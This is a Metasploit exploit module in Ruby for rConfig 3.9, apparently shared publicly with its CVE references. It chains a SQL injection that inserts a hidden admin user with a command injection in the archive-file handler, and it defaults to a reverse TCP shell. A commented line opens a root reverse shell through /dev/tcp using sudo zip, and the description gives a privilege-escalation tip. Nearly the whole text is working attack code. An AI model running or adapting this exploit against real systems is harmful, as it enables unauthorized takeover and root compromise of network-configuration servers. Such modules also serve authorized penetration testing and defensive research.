Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Rconfig 3.x Chained Remote Code Execution',  
'Description' => '  
This module exploits multiple vulnerabilities in rConfig version 3.9  
in order to execute arbitrary commands.  
This module takes advantage of a command injection vulnerability in the  
`path` parameter of the ajax archive file functionality within the rConfig web  
interface in order to execute the payload.  
Valid credentials for a user with administrative privileges are required.  
However, this module can bypass authentication via SQLI.  
This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.  
The steps are:  
1. SQLi on /commands.inc.php allows us to add an administrative user.  
2. An authenticated session is established with the newly added user  
3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to  
execute the payload.  
4. Remove the added admin user.  
Tips : once you get a shell, look at the CVE-2019-19585.  
You will probably get root because rConfig install script add Apache user to  
sudoers with nopasswd ;-)  
',  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jean-Pascal Thomas', # @vikingfr - Discovery, exploit and Metasploit module  
'Orange Cyberdefense' # Module tests - greetz : CSR-SO team (https://cyberdefense.orange.com/)  
],  
'References' =>  
[  
['CVE', '2019-19509'], # authenticated rce  
['CVE', '2020-10220'], # sqli auth bypass  
%w[EDB 47982],  
%w[EDB 48208],  
['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py'], # authenticated RCE  
['URL', 'https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py'] # unauthenticated SQLi  
],  
'Platform' => %w[unix linux],  
'Arch' => ARCH_CMD,  
'Targets' => [['Auto', {}]],  
'Privileged' => false,  
'DisclosureDate' => '2020-03-11',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true, # HTTPS is required for the module to work because the rConfig php code handle http to https redirects  
'PAYLOAD' => 'generic/shell_reverse_tcp'  
},  
'DefaultTarget' => 0))  
register_options [  
OptString.new('TARGETURI', [true, 'Base path to Rconfig', '/'])  
]  
end  
  
# CHECK IF RCONFIG IS REACHABLE AND INSTALLED  
def check  
vprint_status 'STEP 0: Get rConfig version...'  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => '/login.php'  
)  
if !res || !res.get_html_document  
fail_with(Failure::Unknown, 'Could not check rConfig version')  
end  
if res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig Version 3.9'  
print_good('rConfig version 3.9 detected')  
return Exploit::CheckCode::Appears  
elsif res.get_html_document.at('div[@id="footer-copyright"]').text.include? 'rConfig'  
print_status('rConfig detected, but not version 3.9')  
return Exploit::CheckCode::Detected  
end  
end  
  
# CREATE AN ADMIN USER IN RCONFIG  
def create_rconfig_user(user, _password)  
vprint_status 'STEP 1 : Adding a temporary admin user...'  
fake_id = Rex::Text.rand_text_numeric(3)  
fake_pass = Rex::Text.rand_text_alpha(10)  
fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'  
fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'  
userleveladmin = 9 # Administrator  
user_sqli = "command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--"  
sqli_res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),  
'method' => 'GET',  
'vars_get' => {  
'search' => 'search',  
'searchOption' => 'contains',  
'searchField' => 'vuln',  
'searchColumn' => user_sqli  
}  
)  
unless sqli_res  
print_warning('Failed to create user: Connection failed.')  
return  
end  
print_good "New temporary user #{user} created"  
end  
  
# AUTHENTICATE ON RCONFIG  
def login(user, pass)  
vprint_status "STEP 2: Authenticating as #{user} ..."  
# get session cookie (PHPSESSID)  
res = send_request_cgi!(  
'method' => 'GET',  
'uri' => '/login.php'  
)  
@cookie = res.get_cookies  
if @cookie.empty?  
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'  
return  
end  
# authenticate  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'),  
'cookie' => @cookie,  
'vars_post' => {  
pass: pass,  
user: user,  
sublogin: 1  
}  
)  
unless res  
print_warning('Failed to authenticate: Connection failed.')  
return  
end  
print_good "Authenticated as user #{user}"  
end  
  
def trigger_rce(cmd, _opts = {})  
vprint_status "STEP 3: Executing the command (#{cmd})"  
trigger = "`#{cmd} #`"  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/lib/ajaxHandlers/ajaxArchiveFiles.php'),  
'cookie' => @cookie,  
'vars_get' => {  
'path' => trigger,  
'ext' => 'random'  
}  
)  
# the page hangs because of the command being executed, so we can't expect HTTP response  
# unless res  
# fail_with Failure::Unreachable, 'Remote Code Execution failed: Connection failed'  
# return  
# end  
# unless res.body.include? '"success":true'  
# fail_with Failure::Unknown, 'It seems that the code was not executed'  
# return  
# end  
print_good 'Command sucessfully executed'  
end  
  
# DELETE A USER  
def delete_rconfig_user(user)  
vprint_status 'STEP 4 : Removing the temporary admin user...'  
del_sqli = "command ; DELETE FROM `users` WHERE `username`='#{user}';--"  
del_res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),  
'method' => 'GET',  
'vars_get' => {  
'search' => 'search',  
'searchOption' => 'contains',  
'searchField' => 'vuln',  
'searchColumn' => del_sqli  
}  
)  
unless del_res  
print_warning "Removing user #{user} failed: Connection failed. Please remove it manually."  
return  
end  
print_status "User #{user} removed successfully !"  
end  
  
def cleanup  
super  
delete_rconfig_user @username if @username  
end  
  
def exploit  
check  
@username = rand_text_alphanumeric(8..12)  
@password = 'admin'  
create_res = create_rconfig_user @username, @password  
login(@username, @password)  
tmp_txt_file = Rex::Text.rand_text_alpha(10)  
tmp_zip_file = Rex::Text.rand_text_alpha(10)  
# The following payload (cf. 2019-19585) can be used to get root rev shell, but some payloads failed to execute (ex : because of quotes stuffs). Too bad :-(  
# trigger_rce("touch /tmp/#{tmp_txt_file}.txt;sudo zip -q /tmp/#{tmp_zip_file}.zip /tmp/#{tmp_txt_file}.txt -T -TT '/bin/sh -i>& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 #'")  
trigger_rce(payload.encoded.to_s)  
end  
end